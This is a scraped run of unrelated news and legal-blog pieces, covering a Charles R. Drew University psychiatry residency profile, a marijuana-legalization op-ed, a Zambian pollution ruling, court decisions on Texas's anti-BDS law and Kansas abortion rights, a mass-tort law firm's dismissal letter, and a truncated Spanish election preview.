Chair of the CDU Department of Psychiatry, the restart of the medical residency program is an important opportunity for the University. There is great value in the program. Traditionally, teaching residents and medical students is the job of the medical school. Training a new generation of talented physicians continues this tradition and adds value to our work, she noted. The CDU Psychiatry Residents were chosen through a national recruitment system culminating annually on March 15th, with Match Day. The day is devoted to the National Resident Matching Program (NRMP) releasing results to applicants seeking a medical residency in a school of their choice. The CDU Residency program is an important tool to recruit highly qualified medical school graduates who match the University mission. We recruit people interested in social justice and the mission of the University, noted Dr. Shervington. There are very few schools in the country that offer such an important training opportunity. Candidates must know the challenges associated with working in underserved communities. If they are interested and passionate about this work, they will be attracted to this program. Dr. Prothrow-Stith sees the Psychiatry Residency program as a bridge to CDUs blueprint for an independent four-year medical school on the Watts-Willowbrook campus. Our plan for the four-year medical school rests squarely on the foundation of medical residency and training, she said. It is through the development of the Residency program that we will develop the skilled faculty and the clinical experience that we need. There is a process associated with building a team of qualified faculty and trainers available when we start the four-year medical school, she noted. According to a recent community health assessment by the County Health Department, 79% of white adults state that they receive sufficient social and emotional support compared to 61% for blacks, 57% for Asian and Pacific Islanders, and 56% for Latinos. The 2017 Martin Luther King Community Hospitals annual Community Health Needs Assessment highlighted a range of quality of life concerns in SPA 6. They included homelessness and instability of living conditions, drug abuse, poverty and limited access to jobs and long-term employment; multiple family issues, and victimization by crime. The study also identifiedan overall shortage of over 1,200 full-time physicians trained in primary medical and surgical specialties. Such quality of life concerns in SPA 6 leads to a shortage of professional psychiatric services. A contributing factor is the inadequate amount of health insurance coverage. Only 48.3 percent of adults in SPA 6 are employed. 9.9 percent of SPA 6 adults have reported being homeless or not having their own home in the past five years. Only 40.3 percent of SPA 6 residents believe that their neighborhood is safe from crime. 30.6 percent of adults in SPA 6 report their health to be fair or poor. 55.7 percent of adults feel that they have the social and emotional support that they need. By contrast, 74.8 percent of SPA 5 Westside residents feel they have the requisite support. Within each category, the SPA 6 statistics stand at or near the most acute conditions in all of Los Angeles County. According to Dr. Gul Ebrahim, Kedren Medical Director and Program Director of the CDU Psychiatric Residency program, the new program offers new found hope. In training Psychiatry Residents coming out of medical school, there is the opportunity to provide fresh clinical expertise, he said. Regarding the value of employing physicians who look like their patients, Dr. Ebrahim commented that, It can make a difference if the person treating the patient looks like the client. It may make it easier. Both people are on the same page and the origins of the problem can be brought out with effective communication. Adds Dr. Prothrow-Stith, Because they are from this community or a similar community, the Residents know how to negotiate a lot of the difficulties that their patients ultimately will have to navigate. These Residents have a lived experience that they themselves have encountered. The micro and macro incidents of racism; working in places where the resources are not enough, or working in places where government institutions are just too difficult to deal with. CDU Psychiatry Resident Profile Dr. Kwaku Oppongwas born in Ghana but grew up in Milwaukee. He came to the US when his father completed graduate studies in Sociology at the University of Wisconsin. Dr. Oppong is the father of seven children. Two are his natural offspring and he and his wife have foster adopted the other five. There are two sets of twins in the family. My wife and I, even prior to the birth of our natural children, thought it would be a good idea to reach out and take on children who arent our own. We thought that giving children a chance that were not as fortunate or well off as we were would help society as a whole, he noted. The adopted children have all been diagnosed with special needs. Four of the five have autism. One of them is non-verbal. So thats another layer of challenges that we have been working hard to manage, he observed. Two of the five came to us all at once, then we learned of the other three. This experience has been integral to Dr. Oppongs outlook regarding his work. Having gone through medical school, Im learning a lot more about how the body functions. Its opened my eyes about physiology, and how state of mind affects physiology. Studying Psychiatry adds to the knowledge level that you have as a parent, then as a caregiver, he added. He attended a medical school on the island of Antigua. Nobody ever knew where my school was. And when I said it was in the Caribbean, the judgment was that I had attended a lesser school, he said. But what kept me going was the idea that the heart still has four chambers, whether youre in South America, Russia, the US, Mexico, England, or France, he said. Dr. Nancy Rodriguez McGinleysPeruvian-American family saved funds and sent her to a Pasadena private school for academic training. She attended Duke University and graduated in Psychology with a minor in Anthropology. Later, she earned a Masters degree in Public Health from George Washington University. She completed medical training at the University of Illinois Chicagos urban medicine program. She recalled a particularly compelling experience from graduate school. A routine field trip to a clinic in SE Washington, DC took her to one of the most rundown buildings shed ever seen. The lights were flickering in the hallways, with cracks everywhere. It really struck me that there were African American and Hispanic patients in their 30s and 40s being treated for hypertension and diabetes. These things shouldnt be happening until patients are much older. The Residents discussed the stigma associated with their patients receiving a mental health diagnosis. Long-held perceptions support resistance. Some of it is fear, some of it is denial. Some of it is based on an attitude of what neighbors, friends and family will think. Theres this saying, You wash your dirty clothes at home, said Psychiatry Resident Dr. Jacob Gutierrez.One of his young female patients was diagnosed with bipolar disorder and the family was in denial. The girl was shamed and her neighbors began to walk on the other side of the street when she approached. Its so terrible and isolating, said Dr. Gutierrez. Dr. McGinley feels the best way to overcome stigma is to confront it. Its so prevalent in this community. When theres a new mental health diagnosis, the parents have an extremely hard time with it for multiple reasons, she said. I remember a mother crying to me, saying, Que diran? What will they say? And I said, who? She said, Everybody. Its the idea in the community that you dont want to show that theres any kind of negativity and you want to look like everythings OK. Esta para locos. Its for crazy people, she said. Psychiatry Resident Dr. Joshua Cenido felt an acute tie to the stigma of mental illness when his grandmother in the Philippines contracted Alzheimers disease. At first, his phone conversations with her didnt alarm him. But finally I went to visit her. Every ten minutes Id have to remind her of who I was, he said. Dr. Oppong noted that mere family interest in receiving psychiatric services could be stigmatizing. In my experience, if youre looking at it through the lens of education and knowledge, you know that mental health problems are caused by diseases. Just like the body can get sick the mind can get sick, also. We really have to educate people that if mental health issues can be dealt with early enough, it can be managed and the person can go on to live a successful and productive life. Charles R. Drew University ranks second nationally as a leading private nonprofit educational institution for its diversity, according to the Chronicle of Higher Education. The University is also designated as a minority-serving institution by the US Office of Civil Rights and recognized by the Department of Education under Title III Part B as a Historically Black Graduate Institution. CDU is also a charter member of the organization Hispanic Serving Health Professions Schools. Court tells authorities not to collect tax from Ncell for the time being When the Supreme Court on April 9 issued the full text of its February verdict on Ncell capital gains tax issue, it was largely believed that the matter was finally put to rest and that the long-drawn-out debate as to who should clear the tax liabilitybuyer or sellerhad come to an end. Federal Marijuana Legalization Must Learn from California (Yvette McDowell/Courtesy Photo) ADVERTISEMENT Ten states, including California, and the District of Columbia have legalized marijuana use for adults age 21 and older. Marijuana remains illegal on the federal level, though reform is on the horizon. In February, multiple 2020 presidential candidates joined forces to re-introduce the Marijuana Justice Act with the intent to legalize marijuana on the federal level, expunge criminal records, and reinvest in the communities most heavily targeted by the War on Drugs. Marijuana legislation must not leave the individuals who bore the brunt of racially biased marijuana enforcement out in the cold. California is modeling how legalization can address the chasms created by marijuana prohibition and ensure low-income and minority communities have opportunities to enter the multibillion-dollar legal marijuana industry. I served for fourteen years as a prosecutor in California, working in the midst of the War on Drugs. I saw how policy intended to incarcerate cartel kingpins instead devastated families and communities. I most frequently encountered cases against people of color for low-level drug charges. It became clear to me that the War on Drugs was actually a war on people. So, in November 2016, when California voters passed Proposition 64, legalizing marijuana use for adults, I was in full support. Unfortunately, the economic boon produced by the creation of legal marijuana markets has not translated into opportunities for those who were most harmed by the racially biased enforcement of marijuana prohibition. In several states, laws barring individuals with criminal records from participating in the marijuana industry have prevented thousands of qualified people of color from capitalizing on the prospects presented by legalization. Nationally, only 19 percent of all marijuana businesses are majority-owned by racial minorities. This ignores how marijuana laws have singled out people of color for decades. Despite equal usage rates, across the county, black Americans are nearly four times more likely to be arrested for marijuana possession than whites. In California, however, then-Governor Jerry Brown signed legislation last year to set up a state-run program to widen participation among minorities and economically disadvantaged communities in the marijuana industry. This legislation provides people who were most harmed by marijuana prohibition an opportunity to participate in the marijuana industry as either a business owner or an employee with a high-quality, well-paying job. Federal marijuana reform has a promising future, but legalization on its own is simply not enough. Policymakers have a responsibility to minimize collateral consequences and to ensure social and racial equity in the marijuana industry. Our own Representative Karen Bass (D-CA) is the chair of the House Judiciary Subcommittee on Crime, which oversees marijuana legislation. She is well-placed to move strong federal marijuana laws. Bass is a longtime proponent of criminal justice reform and policies that support impacted communities. That, in combination with her previous support of responsible marijuana policy and Californias comprehensive marijuana legislation, provides the ideal opportunity to advance federal marijuana laws. The War on Drugs has wreaked havoc on communities of color. Marijuana legalization gives us an opportunity to right those wrongs. Legislators in Congress should look to California and see that now is the time to take action and actively repair the devastating harms caused by the War on Drugs. ADVERTISEMENT Yvette McDowell served as a firefighter-paramedic for over a decade before she spent fourteen years as an assistant city prosecutor in Pasadena, California. McDowell is now a speaker for the Law Enforcement Action Partnership, a nonprofit of police, prosecutors, judge, and other law enforcement officials who want to improve the criminal justice system. Zambian Villagers Win Landmark Ruling in Water Poisoning Case Zambian villagers whose livelihoods were turned upside down by a toxic spill from a copper mine will finally have their day in court. The villagers succeeded against the odds in a case pitting their claims against a worldwide mining company which denied responsibility for the spill caused by a local Zambian company it controlled. It wasnt the first claim against the Vedanta company, based in the UK. In January, a factory in Tamil Nadu, India, was ordered closed by the local pollution board for having irreversibly polluted the groundwater in and around the Thoothukudi district. Vedanta was also criticized by human rights and activist groups, including Survival International, Amnesty International and Niyamgiri Surakshya Samiti because of the companys operations in Orissa, said to threaten the lives of the Dongria Kondh people who populate this region. ADVERTISEMENT In January 2009, thousands of locals formed a human chain around the hill to protest plans to start bauxite mining in the area. In the Zambian case, four communities charged that a local stream and the Kafue River had become rivers of acid. Leaked documents seen by the BBC appear to show that Vedanta Resources through its Zambia-based Konkola Copper Mines (KCM) spilled sulphuric acid and other toxic chemicals into the water sources. Konkola denies they failed to maintain critical equipment adequately or that heavy spillages and massive leakages occurred due to degraded equipment and leaking pumps and pipes. After the spill, soil in the copper belt, once rich and highly productive now produces virtually nothing, observed a visitor. I used to grow cabbages, potatoes, tomatoes and bananas but now, theres no future here only poverty and suffering for everyone because this land is damaged and spoiled, said Leo Mulenga. In a landmark decision, the Supreme Court ruled that companies are liable for the commitments, including good corporate citizenship, they make publicly regarding their subsidiaries and their commitments to the communities they serve. ADVERTISEMENT Meanwhile, early this year, the Konkola mines suspended operations at its Nchanga mine following the introduction of a five percent import duty on copper concentrates. The introduction of a five percent import duty has made the smelting of imported concentrates commercially unviable, the company said. Friday, April 26, 2019 In an opinion in Amawi v. Pflugerville Independent School District, United States District Judge for the Western District of Texas, Judge Robert Pittman, issued a temporary injunction against Texas Gov. Code 2270.001 et seq., also known as Texas H.B. 89, passed in 2017. HB 89 prohibits governmental entities from entering into contracts for goods or services unless the contract contains a written verification that the contractor does not and will not "boycott Israel." Texas essentially admitted HB 89 is targeted at participants in the BDS (boycott, divest, and sanction) movement which protests Israel's "occupation of Palestinian territory and its treatment of Palestinian citizens and refugees." The five plaintiffs a speech pathologist contracting with a school district; a freelance writer, artist, interpreter, and translator contracting with a university; and three university students who would contract with high schools as debate tournament judges refused to sign the required statement that they did not and would not boycott Israel. Judge Pittman easily found that the plaintiffs had standing, that their claims were ripe, and that the action was not barred by Eleventh Amendment immunity. On the merits of the First Amendment claims, Judge Pittman's careful and well reasoned opinion first concluded that the prohibition of a boycott was inherently expressive activity protected by the First Amendment. The parties had raised what Judge Pittman called "dueling precedents": NAACP v. Claiborne Hardware Co. (1992) and Rumsfeld v. FAIR (2006). He concluded: Claiborne, not FAIR, governs this case. Texas does not dispute that Plaintiffs boycotts are political; they support the BDS movements dispute with the Israeli governments policies. Claiborne deals with political boycotts; FAIR, in contrast, is not about boycotts at all. The Supreme Court did not treat the FAIR plaintiffs conduct as a boycott: the word boycott appears nowhere in the opinion, the decision to withhold patronage is not implicated, and Claiborne, the key decision recognizing that the First Amendment protects political boycotts, is not discussed. Moreover, Judge Pittman stated, even if "it were generally true that boycotts are not inherently expressive, H.B. 89, by its terms, applies only to expressive boycotts," given the statutory definitions. Judge Pittman then rejected the arguments of Texas that exceptions to Claiborne were applicable. Judge Pittman then found that the H.B. 89 was viewpoint and content discrimination, and was not government speech under Walker v. Texas Div., Sons of Confederate Veterans, Inc. (2015). Applying the applicable standard of strict scrutiny, Judge Walker found that the asserted compelling governmental interests failed. Judge Pittman found two of the interests prohibiting national-origin discrimination, and prohibiting state contractors from violating anti-discrimination principles to essentially be not the actual interests underlying H.B. 89. Judge Pittman noted the statute does not refer to the "national origin" or "nationality" of individuals but to "the nation of Israel." Judge Pittman described the statute as being "underinclusive" in this way, providing examples of who would and would not be covered by the statute. As to the third interest asserted by Texas aligning the state's commercial interests with Israel because it is one of the few democracies in the Middle East and an ally of the United States and this State" Judge Pittman essentially found this was not compelling. Texas had argued that the First Amendment does not prevent restrictions directed at commerce or conduct from imposing incidental burdens on speech, but Judge Pittman found that this was not an "incidental burden" on speech, but targeted specific speech directly. Judge Pittman then proceeded to an analysis of the means chosen, although clearly stated that because "H.B. 89 is not justified by any compelling state interest, no amount of narrowing application will preserve it from constitutional attack. But even if Texass stated interests were the actual interests advanced by the statuteand even if they were compellingthe Court finds that H.B. 89 still sweeps too broadly." Judge Pittman's extensive and detailed opinion then found that plaintiffs' additional First Amendment arguments that the statute is an unconstitutional condition, that it was compelled speech, and that it was unconstitutionally vague all had merit. The constitutionality of anti-BDS statutes is being vigorously litigated and Judge Pittman's decision is sure to be appealed. The opinion's perspective on the popularity of anti-BDS statutes is quite interesting: Twenty five states have enacted similar legislation or issued executive orders restricting boycotts of Israel, and Congress has declared its opposition to the BDS movement, see 19 U.S.C. 4452. In Texas, only five legislators voted against H.B. 89. Texas touts these numbers as the statutes strength. They are, rather, its weakness. If there is any fixed star in our constitutional constellation, it is that no official, high or petty, can prescribe what shall be orthodox in politics, nationalism, religion, or other matters of opinion or force citizens to confess by word or act their faith therein. West Virginia State Bd. of Educ. v. Barnette (1943). [some citations omitted]. https://lawprofessors.typepad.com/conlaw/2019/04/federal-judge-enjoins-texas-anti-bds-statute-as-violative-of-first-amendment-.html Friday, April 26, 2019 In its extensive opinion in Hodes & Nauser v. Schmidt, the Supreme Court of Kansas held that the right to abortion in protected under its state constitution and regulations of the fundamental right should be subject to strict scrutiny. The per curiam opinion is exceedingly clear that the opinion rests on independent state constitutional grounds and that it is interpreting 1 of the Kansas state Constitution, adopted in 1859: "All men are possessed of equal and inalienable natural rights, among which are life, liberty, and the pursuit of happiness." The court specifically finds that this provision creates judicially enforceable "natural rights" such as the right to "personal autonomy" to make decisions regarding our bodies, health care, family formation, and family life, including a woman's right to decide whether to continue a pregnancy. Having held that the right to an abortion is encompassed within the fundamental right bodily autonomy, the Kansas Supreme Court held that strict scrutiny should apply, which the court articulated as prohibited the state from restricting that right unless it can show it is doing so to further a compelling government interest and in a way that is narrowly tailored to that interest. At issue in the case is Kansas S.B. 95, passed in 2015, now K.S.A. 65-6741 through 65-6749, which prohibits physicians from performing a specific abortion method referred to in medical terms as Dilation and Evacuation (D & E) except when "necessary to preserve the life of the pregnant woman" or to prevent a "substantial and irreversible physical impairment of a major bodily function of the pregnant woman." The trial court had issued a preliminary injunction, which the Kansas Supreme Court upheld, but remanded the case for a fuller evidentiary hearing applying strict scrutiny. via & caption: Kansas Supreme Court Seated left to right: Hon. Marla J. Luckert, Hon. Lawton R. Nuss, Chief Justice; Hon. Carol A. Beier. Standing left to right: Hon. Dan Biles, Hon. Eric S. Rosen, Hon. Lee A. Johnson, and Hon. Caleb Stegall. In a concurring opinion, Justice Dan Biles argued that the majority should be more explicit in articulating how strict scrutiny should be applied in the abortion context, suggesting what "our state test should look like using an evidence-based analytical model taken from Whole Woman's Health v. Hellerstedt" (2016). Justice Biles provided a very detailed roadmap that would be attractive to the trial court. Justice Biles also placed the decision within developments in state constitutional law on abortion: It is also worth mentioning our court has not gone rogue today. By my count, appellate courts in 17 states have addressed whether their state constitutions independently protect a pregnant woman's decisions regarding her pregnancy from unjustifiable government interference. Of those, 13 have plainly held they do. [citations omitted]. The sole dissenting Justice of the seven Justices of the Kansas Supreme Court (pictured above) was Justice Caleb Stegall, who relied on numerous dissenting opinions in both the United States Supreme Court and Kansas Supreme Court. He began his opinion by stating "This case is not only about abortion policythe most divisive social issue of our dayit is more elementally about the structure of our republican form of government." In essence, he considers the majority to be taking an activist stance. The majority opinion does devote more than a little attention to refuting and engaging with the dissent's arguments. Because the case cannot be reviewed by the United States Supreme Court (given that the state's highest court decided it on the independent ground of its state constitution, unless it is argued it infringes on another constitutional right), subsequent constitutional law issues will be concentrated on what happens in the trial court and what might happen in other states. https://lawprofessors.typepad.com/conlaw/2019/04/kansas-supreme-court-finds-fundamental-right-to-abortion-under-state-constitution.html Friday, April 26, 2019 The Kansas Supreme Court upheld the right to choose Section 1 of the Kansas Constitution Bill of Rights provides: "All men are possessed of equal and inalienable natural rights, among which are life, liberty, and the pursuit of happiness." We are now asked: Is this declaration of rights more than an idealized aspiration? And, if so, do the substantive rights include a woman's right to make decisions about her body, including the decision whether to continue her pregnancy? We answer these questions, "Yes." We conclude that, through the language in section 1, the state's founders acknowledged that the people had rights that preexisted the formation of the Kansas government. There they listed several of these natural, inalienable rightsdeliberately choosing language of the Declaration of Independence by a vote of 42 to 6. Included in that limited category is the right of personal autonomy, which includes the ability to control one's own body, to assert bodily integrity, and to exercise self determination. This right allows a woman to make her own decisions regarding her body, health, family formation, and family lifedecisions that can include whether to continue a pregnancy. Although not absolute, this right is fundamental. Accordingly, the State is prohibited from restricting this right unless it is doing so to further a compelling government interest and in a way that is narrowly tailored to that interest. And we thus join many other states' supreme courts that recognize a similar right under their particular constitutions. Finally, we conclude that the plaintiffs Herbert C. Hodes, M.D., Traci Lynn Nauser, M.D., and Hodes & Nauser, MDs, P.A. (Doctors) have shown they are substantially likely to ultimately prevail on their claim that Senate Bill 95 violates these principles by severely limiting access to the safest procedure for second-trimester abortions. As a result, we affirm the trial court's injunction temporarily enjoining the enforcement of S.B. 95 and remand to that court for full resolution on the merits. Biles, J. concurred But to be clear from the outset, I join the other members of this court who unanimously agree section 1 of the Kansas Constitution Bill of Rights provides all Kansans, including pregnant women, with state-based, judicially enforceable protections against unwarranted government intrusion. Some cast this as a right to abortion, others as a limitation on state police powers, but the bottom line is the same: those challenging government conduct as an unlawful restriction on their protected section 1 interests may do so in a Kansas courtroom. The difference in our approaches is the standard used to measure where our state Constitution draws the line... More disturbingly, consider how the dissent's standard perfectly aligns with this notorious passage from our American caselaw: "In view of the general declarations of the legislature and the specific findings of the Court, obviously we cannot say as a matter of law that the grounds do not exist, and if they exist they justify the result. We have seen more than once that the public welfare may call upon the best citizen for their lives. It would be strange if it could not call upon those who already sap the strength of the State for these lesser sacrifices, often not felt to be such by those concerned, in order to prevent our being swamped with incompetence. It is better for all the world, if instead of waiting to execute degenerate offspring for crime, or to let them starve for their imbecility, society can prevent those who are manifestly unfit from continuing their kind. The principle that sustains compulsory vaccination is broad enough to cover cutting the Fallopian tubes. [Citation omitted.] Three generations of imbeciles are enough." Buck, 274 U.S. at 207. ...All agree this court should interpret the Kansas Constitution in accordance with the framers' intent and the values expressed by its words. Both the majority and the dissent devote nearly 108 pages discussing historical lineage for those words. And it is a demanding read. I hope those reviewing my colleagues' history lessons will accept the exercise for what it obviously ishard working judges trying to honestly answer the questions presented in good faith. But for me, an originalism search gets us only so far when divining meaning for words with such obvious open-ended qualities as "liberty" or "inalienable natural rights." The historical back-and-forth really just boils down to how much weight is given one selected fact over another. I believe our framers had to understand this interpretative dynamic and picked those particular words because they require contemporary context. This means we must apply what "liberty" and "inalienable natural rights" mean in the real world today for a pregnant woman. In doing so, that necessarily demonstrates meaningful limitations on the government's ability to elbow its way into the decisions she must make concerning her pregnancy. The district court did not abuse its discretion by temporarily enjoining S.B. 95's enforcement pending trial. STEGALL, J., dissenting: This case is not only about abortion policythe most divisive social issue of our dayit is more elementally about the structure of our republican form of government. Which is to say, this case is about the proper conditions for just rule. At bottom, this case is about finding and drawing the sometimes elusive line between law and arbitrary exercises of power. Here we venture onto a battlefield as old as politics itself. And as we argue about the structure of governmentand ultimately delineate the proper conditions for just rulewe must never forget that we are also actively engaged in ruling. The structural idea that gave birth to Kansas as a political community, which has achieved consensus support across most of our history, is that the proper conditions for just rule are met via participatory consent to secure and promote the common welfare. Today, a majority of this court dramatically departs from this consensus. Today, we hoist our sail and navigate the ship-of-state out of its firm anchorage in the harbor-of common good and onto the uncertain waters of the sea-of-fundamental-values. Today we issue the most significant and far-reaching decision this court has ever made. The majority's decision is so consequential because it fundamentally alters the structure of our government to magnify the power of the stateall while using that power to arbitrarily grant a regulatory reprieve to the judicially privileged act of abortion. In the process, the majority abandons the original public meaning of section 1 of the Kansas Constitution Bill of Rights and paints the interest in unborn life championed by millions of Kansans as rooted in an ugly prejudice. For these reasons, I dissent. Oral argument video linked here. The argument is 2 1/2 hours. (Mike Frisch) https://lawprofessors.typepad.com/legal_profession/2019/04/the-kansas-supreme-court-section-1-of-the-kansas-constitution-bill-of-rights-provides-all-men-are-possessed-of-equal-and-in.html Thursday, April 25, 2019 After posting this yesterday, Bryan Aylstock reached out to provide some procedural history. While his information better contextualizes the letter that went out, as I note below, I am still troubled by the idea that a lawyer would dismiss his client's case unless she takes some affirmative action to the contrary. As my conversations with some of the affected plaintiffs reflect, at least some feel a great deal of pressure to dismiss their claims. As I noted, for the last few months, I've been in touch with many TVM and POP mesh plaintiffs as part of a procedural justice study that I'm conducting. Recently, I'd heard from multiple sources that the Aylstock, Witkin, Kreis & Overholtz law firm has been sending out letters to clients who haven't settled, suggesting that they dismiss their case without prejudice to avoid the expense of discovery while they continue to evaluate their settlement prospects. The text of the AWKO letter (included fully below) tells recipients that "Judge Goodwin has set a series of aggressive deadlines designed to push your case towards a trial." As I suggested yesterday, I suspect thats what most plaintiffs want. (As plaintiffs often tell me, this is not about the money for me.) Let me fill in some background on the aggressive deadlines order that the letter refers to. Judge Goodwin has maintained an inactive docket as well as an active docket of pelvic mesh cases. (There were, at one point, over 104,000 cases pending before him.) On February 4, 2019, he issued Pretrial Order 328 in the Ethicon MDL, which moves a list of cases from the inactive to the active docket. He begins his order by saying: Despite representations in inactive docket orders proposed by the parties and entered by the court, that the cases on Exhibit A have been settled or entered into a settlement model, and despite repeated warnings by the court that cases will not remain on the inactive docket indefinitely, the number of cases on the inactive docket remains in the thousands. Judge Goodwin thus removed the listed cases from the inactive to the active docket and put discovery deadlines in place. For instance, plaintiffs had to file their fact sheets by February 15, 2019; written discovery requests by March 25, 2019; and expert disclosures by May 24, 2019. After a case completes the discovery process and goes through dispositive motions, like motions for summary judgment, it is ready either for trial in the Southern District of West Virginia (the location of the MDL) or a remand to its original court where it could then be placed on a trial docket. The AWKO letter says: "The imposition of these deadlines creates a problem--complying with them will require significant time and significant expense which, in turn, will make settling your Ethicon claim in the near future more difficult." Consequently, the firm wants to dismiss clients claims that are in the settlement process: To avoid this problem, we have reached a potential agreement with Ethicon to dismiss your claim without prejudice. This means that your case will no longer be subject to the deadlines that will decrease any near term settlement amount to you by increasing your costs. As Aylstock explained, this letter only went out to clients who had indicated that theyd like to consider a potential settlement. The firm negotiated an aggregate settlement with Ethicon awhile ago, and these cases are being processed through that program. When I asked him whether there was a walkaway provision within the deal that was driving this, he said that there was a walkway threshold (meaning that Ethicon could walk away from the deal unless enough plaintiffs participate), but that it was exceedingly low and had been already been met (and was met shortly after it was negotiated). In my earlier post, I said that the law firm wanted their clients to dismiss their cases so that the firm can avoid the expense of actually having to take a case to trial. (The letter mentions that the firm "believe[s] that it is in your best interest to dismiss your Ethicon case without prejudice" and recommends that the client accept "your Ethicon settlement offer.") Aylstock said that he had no problem taking cases to trial and had lawyers flying around the country taking depositions all the time. Nor was he hesitant about spending money the money to do so. Instead, he wanted those clients who were in the settlement process not to have to go through discovery expenses if they planned to take the settlement offer. He said a client would be no worse off for having a case dismissed without prejudice under the agreement he negotiated with Ethicon, which waives the statute of limitations. Judge Goodwin has stopped accepting cases into the MDL, so presumably if a case were dismissed and refiled it would be in a state or federal court outside of the MDL proceeding. Aylstock likewise told me that the filing fee to refile a lawsuit would be far less than the costs of experts and that he thinks a plaintiff would not be back to square one because the firm would have only case-specific discovery left to do. As I told him, what I found most troubling about the AWKO letter was this phrase: "unless you direct us not to, we will be dismissing your claim against Ethicon without prejudice." To me, this seems like a powerful use of default rules to push plaintiffs toward settlement. The letter apparently went out sometime in the last week, and it gave recipients only until April 24 to decide. The folks with whom I spoke had this to say about their conversations with the firms case managers: Client 1: I talked live with Ann and her tone was like a bull in a china shop. . . . She said, You need to be ready for deposition in two weeks, hiring your own experts and witnesses, paying your way to fly around the country at your own dime. Client 2: I let them know that I do NOT want them to dismiss my case. They have told me that means I will likely be dropped from them. . . . Right now they are trying to bully me, and that just isn't working! Perhaps other clients feel differently. Still, two points bear mention: First, the lawyers are the ones who initially bear the expenses associated with discovery and trial, not clients. Ultimately, costs and attorneys' fees are deducted from any judgement or settlement that the plaintiff receives, but those should not be out-of-pocket expenses for the clients. Second, its apparent that at least some of AWKOs clients are under the impression (right or wrong) that they must settle or the law firm will no longer represent them. When I asked Aylstock about this, he said, in a much more detailed way, that it depends on an individual analysis for each client. In general, before withdrawing from representing a client, Fla. R. Jud. Admin. 2.060 requires attorneys to file a motion setting out the reasons for withdrawing and the clients name and address. The motion must be set for a hearing, and the firm must serve the motion on both the client and opposing counsel. In contingency fees governed by Florida law, Faro v. Romani, 641 So. 2d 69, 71 (Fla. 1994), holds that when an attorney withdraws from representation upon his own volition, and the contingency has not occurred, the attorney forfeits all rights to compensation. Only if the clients conduct makes the attorneys continued performance of the contract either legally impossible or would cause the attorney to violate an ethical rule is the withdrawing attorney entitled to a fee. And Rule 4-1.2(a) makes it clear that: A lawyer must abide by a clients decision whether to settle a matter. Florida also has detailed rules for contingent fees that I found interesting: (i) Without prior court approval as specified below, any contingent fee that exceeds the following standards are presumed, unless rebutted, to be clearly excessive: Before the filing of an answer or the demand for appointment of arbitrators or, if no answer is filed or no demand for appointment of arbitrators is made, the expiration of the time period provided for such action: 1.) 33 1/3% of any recovery up to $1 million; plus 2.) 30% of any portion of the recovery between $1 million and $2 million; plus 3.) 20% of any portion of the recovery exceeding $2 million. After the filing of an answer or the demand for appointment of arbitrators or, if no answer is filed or no demand for appointment of arbitrators is made, the expiration of the time period provided for such action, through the entry of judgment: 1.) 40% of any recovery up to $1 million; plus 2.) 30% of any portion of the recovery between $1 million and $2 million; plus 3.) 20% of any portion of the recovery exceeding $2 million. If all defendants admit liability at the time of filing their answers and request a trial only on damages: 1.) 33 1/3% of any recovery up to $1 million; plus 2.) 20% of any portion of the recovery between $1 million and $2 million; plus 3.) 15% of any portion of the recovery exceeding $2 million. An additional 5% of any recovery after institution of any appellate proceeding or postjudgment relief or action is required for recovery on the judgment. Comments welcome from all sides. They will not show up immediately, but I will approve them as I see them coming in. The entire letter follows: *CORRESPONDENCE ALSO SENT AS HARDCOPY VIA UPS* Good Morning, We hope this email finds you well. We would like to share important an important update regarding your transvaginal mesh claim against Ethicon. As you know, your case is pending in the Ethicon multidistrict litigation (MDL) in West Virginia, overseen by Judge Goodwin. Despite the fact that your Ethicon case is part of a settlement process, Judge Goodwin has set a series of aggressive deadlines designed to push your case towards a trial. The imposition of these deadlines creates a problem complying with them will require significant time and significant expense which, in turn, will make settling your Ethicon claim in the near future more difficult. To avoid this problem, we have reached a potential agreement with Ethicon to dismiss your claim without prejudice. This means that your case will no longer be subject to the deadlines that will decrease any near term settlement amount to you by increasing your costs. Because the proposed dismissal is without prejudice, you are entitled to re-file your case against Ethicon in the event that you ultimately reject your settlement offer. Ethicon, however, has required that any such refiling not happen for one year from the date of dismissal. Ethicon wants to insure that the settlement process be allowed to run its course without interference from cases in litigation. After considering the pros and cons of this potential agreement with Ethicon, we believe that it is in your best interest to dismiss your Ethicon case without prejudice. We have written to you separately regarding your Ethicon settlement offer and have recommended that you accept the same, however, you chose to request a further review with the Special Master. Though the Special Master is currently reviewing those requests, we believe that the proposed agreement regarding dismissal without prejudice strikes a balance that allows the settlement process to continue without interference. Accordingly, unless you direct us not to, we will be dismissing your claim against Ethicon without prejudice. If you do not want us to dismiss your claim without prejudice in accordance with the above, you must contact us by April 24, 2019, and tell us the same . If we do not hear from you on or before that date, we will dismiss your claim against Ethicon without prejudice. If you have any questions or concerns, or wish to inform us of your desire not to dismiss you claim, our toll free number is (877) 810-4808. We look forward to hearing from you. Ann Jaye Case Manager Transvaginal Mesh Litigation Aylstock, Witkin, Kreis & Overholtz 17 E. Main Street, Suite 200 Pensacola, FL 32502 Phone: (850) 202-1010 Toll Free: (888) 255-AWKO (2956) Facsimile: (850) 916-7449 Email: ajaye@awkolaw.com https://lawprofessors.typepad.com/mass_tort_litigation/2019/04/updated-when-trial-is-too-expensive-for-law-firms.html Spain will hold national elections on Sunday. It will be the countrys third such election in four years. The Reuters news agency says the results of the vote are likely too close to call. At least five political parties have a chance to be in the next government. The general elections are set to mark a few firsts in Spanish politics. It appears clear that the elections will lead to a coalition government. Since it returned to democracy in the 1970s, Spain has yet to be ruled by a coalition. Also, opinion studies are showing that far-right politicians could be elected in the country for the first time since 1982. Reuters predicts there will be long coalition negotiations after the voting ends Sunday night. Results are expected within a few hours. Here is what is important to know: Who will win? No party will win enough seats to form a government on its own. Opinion surveys appear to show that the parliament will be fragmented. One such poll was released on Monday just before the two debates between the leaders of four of the five main parties. Prime Minister Pedro Sanchezs Socialist party was found to be in the lead. He will most likely win just under 30 percent of votes. That information comes from a poll published in the newspaper El Pais. The Socialists would have the best chance of leading the coalition, if it could find allies. That might be difficult. If a coalition government fails to take shape, there could be another election. In other words, it could be many months before a new prime minister is chosen. Why is this so complex? The most recent polls put the number of undecided Spanish voters as high as 40 percent of the population. No one seems to know how many votes the new far-right party Vox will receive, but it seems clear the party will win seats. Far-right lawmakers have been largely missing from Spains political life for nearly 40 years. The leader of Vox was barred from the two election debates for legal reasons. Some political observers say the candidate who performed best at the debates was Pablo Iglesias. He is the leader of the anti-austerity party Podemos. But opinion polls show his party has lost a lot of support in recent weeks. The 350 deputies in Spains lower house of parliament are elected from 52 constituencies, whose sizes and economies are very different. Also, predicting who might win is difficult because of the large number of candidates. Spanish parties are not 